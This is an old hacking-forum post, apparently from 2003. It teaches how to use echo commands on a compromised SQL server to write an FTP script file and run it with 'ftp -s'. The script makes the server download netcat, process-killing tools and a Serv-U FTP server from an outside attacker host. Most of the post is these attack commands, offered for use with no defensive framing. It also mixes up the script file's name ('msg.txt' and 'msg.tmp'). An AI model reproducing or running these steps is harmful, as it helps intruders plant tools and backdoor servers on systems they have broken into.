GSecur
Aug 18 2003, 12:22 AM
Author:
EvilGodMySQL Scanner Suggested By:
man-FIREYou can upload files on your Sql server simply creating an
ftp putfile by the
dos echo command.
A putfile is only a .txt file (it can have any file extension you want) that contains all the commands that ftp.exe must execute.
Example of putfile:
| CODE |
open <IP> <PORT> user <username> <password> type binary get <file1> get <file2> get <filex> quit
|
---------
How to create this text file on the remote server?
Let's make an example!
-Open up a dos prompt on your computer
-From the dos prompt:
C:\>
-write:
echo this is an example>msg.txt
After executing this command you will see on your c:\ drive a file named "msg.txt" containing the text "this is an example".
-To add lines to this text file execute this command:
echo this is the second line of the example>>msg.txt
As you see this time I used two ">>" for the command.. that's because in this way we can add further lines to the text file instead of rewrite it (with one single ">")
Now your "msg.txt" text file has two lines.
Ok .. Example of commands to upload serv-u files:
| CODE |
echo open 123.456.34.45 21>msg.txt echo user anonymous>>msg.txt echo anony@anony.com>>msg.txt echo type binary>>msg.txt echo get nc.exe>>msg.txt echo get tlist.exe>>msg.txt echo get kill.exe>>msg.txt echo get servu.ini>>msg.txt echo get servu.exe>>msg.txt echo get TzoLibr.dll>>msg.txt echo get message.txt>>msg.txt echo quit>>msg.txt
|
---------
Once your putfile is ready you can launch it by typing the following command:
ftp -i -n -v -s:msg.txtwhere msg.tmp is the name of your putfile.
Respect and HAVE PHUN

Peace out.